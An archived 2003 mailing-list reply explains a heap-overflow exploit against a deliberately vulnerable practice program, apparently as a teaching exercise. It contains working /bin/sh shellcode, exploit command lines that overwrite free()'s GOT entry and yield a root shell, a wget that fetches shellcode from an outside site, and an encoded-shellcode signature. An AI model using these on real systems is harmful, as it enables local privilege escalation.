Re: CORRECTION: vulndev1.c solution (WARNING! QUESTIONS!)

From: Jon Erickson (matrixat_private)
Date: Wed May 21 2003 - 15:58:25 PDT

  • Next message: Ingram: "Is this exploitable?"

    On Wed, 21 May 2003 14:38:11 -0700
    "Jeremy Junginger" <jjat_private> wrote:
    
    > There was an erroneous /xfg below, that I re-ran with /xff.  It's marked
    > with ****
    > 
    > -----Original Message-----
    > From: Jeremy Junginger 
    > Sent: Wednesday, May 21, 2003 2:28 PM
    > To: 'Jon Erickson'; vuln-devat_private
    > Subject: RE: vulndev1.c solution (WARNING! QUESTIONS!)
    > 
    > 
    > This is by far the most informative BO discussion I have read.
    > 
    > If there are any takers out there (Mr. Erickson?), I have some
    > questions.  I was trying to replicate Mr. Erickson's exploit on a Redhat
    > 8.0 System, but am having some trouble understanding.  I have tried my
    > best to n00b along with Jon.  Please take a look at this if you have
    > time and let me know how to get my head out of my a$$ on this.  Thanks,
    > 
    > [root@OxFFFFFF bufferoverflow]# uname -a
    > Linux OxFFFFFF 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386
    > GNU/Linux
    > 
    > [root@OxFFFFFF bufferoverflow]# cat vulndev1.c
    > #include <stdio.h>
    > #include <stdlib.h>
    > 
    > #define SIZE 252
    > 
    > int
    > main(int argc, char *argv[])
    > {
    >         int i;
    >         char    *p1, *p2;
    >         char    *buf1 = malloc(SIZE);
    >         char    *buf2 = malloc(SIZE);
    > 
    >         if (argc !=3)
    >                 exit(1);
    > 
    >         p1 = argv[1], p2 = argv[2];
    >         printf("p1 is at %p\n", p1);
    >         strncpy(buf2, p2, SIZE);
    >         for (i = 0; i <= SIZE && p1[i] != '\0'; i++)
    >                 buf1[i] = p1[i];
    >         free(buf1);
    >         free(buf2);
    >         return 0;
    > }
    > 
    > 
    > 
    > (No explanation needed)
    > [root@OxFFFFFF bufferoverflow]# gcc -o vuln1 vulndev1.c 
    > [root@OxFFFFFF bufferoverflow]# sudo chown root.root ./vuln1 
    > [root@OxFFFFFF bufferoverflow]# sudo chmod u+s ./vuln1
    > 
    > (Looking for address of free (08049638) and _libc_start_main (0804962c) 
    > [root@OxFFFFFF bufferoverflow]# objdump -R ./vuln1
    > 
    > ./vuln1:     file format elf32-i386
    > 
    > DYNAMIC RELOCATION RECORDS
    > OFFSET   TYPE              VALUE 
    > 08049640 R_386_GLOB_DAT    __gmon_start__
    > 08049628 R_386_JUMP_SLOT   malloc
    > 0804962c R_386_JUMP_SLOT   __libc_start_main
    > 08049630 R_386_JUMP_SLOT   printf
    > 08049634 R_386_JUMP_SLOT   exit
    > 08049638 R_386_JUMP_SLOT   free
    > 0804963c R_386_JUMP_SLOT   strncpy
    > 
    > (Okay, I'm taking 0x38 (from free?!?) and subtracting 12...but I'm not
    > sure what this does) 
    
    Basically.. the free() function is going to add 12 to the address you feed it.. so you're just subtracting 12 to compensate for that...
    
    > [root@OxFFFFFF bufferoverflow]# pcalc 0x38-12  
    >         44              0x2c            0y101100
    > 
    > (Here I'm showing the shellcode.  It's not the same as Jon's, this is
    > one obvious point at which it may be failing.  Perhaps I can get a copy
    > of the 'shell' file or get a clue as to how to generate one...besides
    > using shellcode.c from http://packetstormsecurity.nl) 
    > [root@OxFFFFFF bufferoverflow]# od -ch shell
    > 0000000   \   x   e   b   \   x   1   f   \   x   5   e   \   x   8   9
    >         785c 6265 785c 6631 785c 6535 785c 3938
    > 0000020   \   x   7   6   \   x   0   8   \   x   3   1   \   x   c   0
    >         785c 3637 785c 3830 785c 3133 785c 3063
    > 0000040   \   x   8   8   \   x   4   6   \   x   0   7   \   x   8   9
    >         785c 3838 785c 3634 785c 3730 785c 3938
    > 0000060   \   x   4   6   \   x   0   c   \   x   b   0   \   x   0   b
    >         785c 3634 785c 6330 785c 3062 785c 6230
    > 0000100   \   x   8   9   \   x   f   3   \   x   8   d   \   x   4   e
    >         785c 3938 785c 3366 785c 6438 785c 6534
    > 0000120   \   x   0   8   \   x   8   d   \   x   5   6   \   x   0   c
    >         785c 3830 785c 6438 785c 3635 785c 6330
    > 0000140   \   x   c   d   \   x   8   0   \   x   3   1   \   x   d   b
    >         785c 6463 785c 3038 785c 3133 785c 6264
    > 0000160   \   x   8   9   \   x   d   8   \   x   4   0   \   x   c   d
    >         785c 3938 785c 3864 785c 3034 785c 6463
    > 0000200   \   x   8   0   \   x   e   8   \   x   d   c   \   x   f   f
    >         785c 3038 785c 3865 785c 6364 785c 6666
    > 0000220   \   x   f   f   \   x   f   f   /   b   i   n   /   s   h  \n
    >         785c 6666 785c 6666 622f 6e69 732f 0a68
    > 0000240  \n  \0
    >         000a
    > 0000241
    > 
    > (Take a byte count on the shell...looks kinda big compared to Jon's) 
    > [root@OxFFFFFF bufferoverflow]# wc -c shell 
    >     161 shell
    
    your shellcode consists of many \x42 type bytes..  this is how you represent bytes using printf() and other format functions using just printables.  Basically, if you just do like..
    
    printf `cat shell` > new_shell
    
    that should fix it...  also, if you want to use the piece of shellcode I used, you can just
    
    wget www.phiral.com/research/shell
    
    It's just a really basic setruid(0), then /bin/sh shellcode.. it's actually kinda big too..
    
    > (Subtract the size of the shellcode from SIZE)
    > [root@OxFFFFFF bufferoverflow]# pcalc 252-161
    >         91              0x5b            0y1011011
    > 
    > (Okay, using the address 0804962c (_libsc_start_main, represented as
    > \x2c\x96\x04\x08) We run a long string of 91 A's (SIZE-SHELLCODE) and
    > append the address) 
    > [root@OxFFFFFF bufferoverflow]# ./vuln1 `perl -e 'print "A"x91;'``cat
    > shell``printf "\x0b"` `printf "\x2c\x96\x04\x08ABCD"` p1 is at
    > 0xbffffb35
    > 
    > (There we get the location of p1, and append it to the end (bffffb35
    > represented as x35\xff\xff\xbf) 
    > [root@OxFFFFFF bufferoverflow]# ./vuln1 `perl -e 'print "A"x91;'``cat
    > shell``printf "\x0b"` `printf "\x2c\x96\x04\x08\x35\xff\xff\xbf"`
    > p1 is at 0xbffffb30
    > 
    > (Whiskey, Tango, Foxtrot, Over?!?....p1 is different....and no shell?!?
    > Back to the drawing board :( [root@OxFFFFFF bufferoverflow]# 
    
    well.. as Cameron Brown pointed out in an earlier post.. unless you happen to get lucky, you really need to have a jump statement at the beginning of the shellcode, because about 12 bytes will get mangled.. and if you try to execute the mangled bytes, it will segfault.  
    
    matrix@overdose vuln-dev $ gcc -o vuln1 vulndev1.c
    matrix@overdose vuln-dev $ sudo chown root.root vuln1
    matrix@overdose vuln-dev $ sudo chmod +s vuln1
    matrix@overdose vuln-dev $ export SMEGMA=`printf "\xeb\x0e"`AAAAAAAAAAAAAAAAAA`cat shell`
    matrix@overdose vuln-dev $ echo 'main(){printf("%p\n",getenv("SMEGMA"));}'>q.c;gcc -o q.ert q.c;./q.ert;rm q.*
    0xbffffa04
    matrix@overdose vuln-dev $ objdump -R ./vuln1 | grep free
    080495f8 R_386_JUMP_SLOT   free
    matrix@overdose vuln-dev $ pcalc 0xf8-12
            236             0xec            0y11101100
    matrix@overdose vuln-dev $ ./vuln1 `perl -e 'print "A"x253;'` `printf "\xec\x95\x04\x08\x04\xfa\xff\xbf";`
    sh-2.05b# id
    uid=0(root) gid=100(users) groups=100(users),10(wheel),18(audio)
    sh-2.05b# 
    
    If you try using the method above (putting the shellcode in an environment variable), make sure that the name of the exploit program (vuln1) is the same length as the program used to get the address of the env variable (q.ert)  
    
    -- 
    %JOSE_RONNICK%50,:-dddd-0EEb-pVVyP\-1111-jjjj-yNNN-_4HUP-qq0q-02%r-_Z%JP-%Iwp-5kyyP-n5nn-aTTa-1271P-4ttt-/888-3tSMP-bbnb-L8wL-kMwgP-3Hy3-rqzWP-m%m8-h4x--v%r5P-S7S7-g7g7-F2u2PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
    
    
    



    This archive was generated by hypermail 2b30 : Fri May 23 2003 - 08:44:10 PDT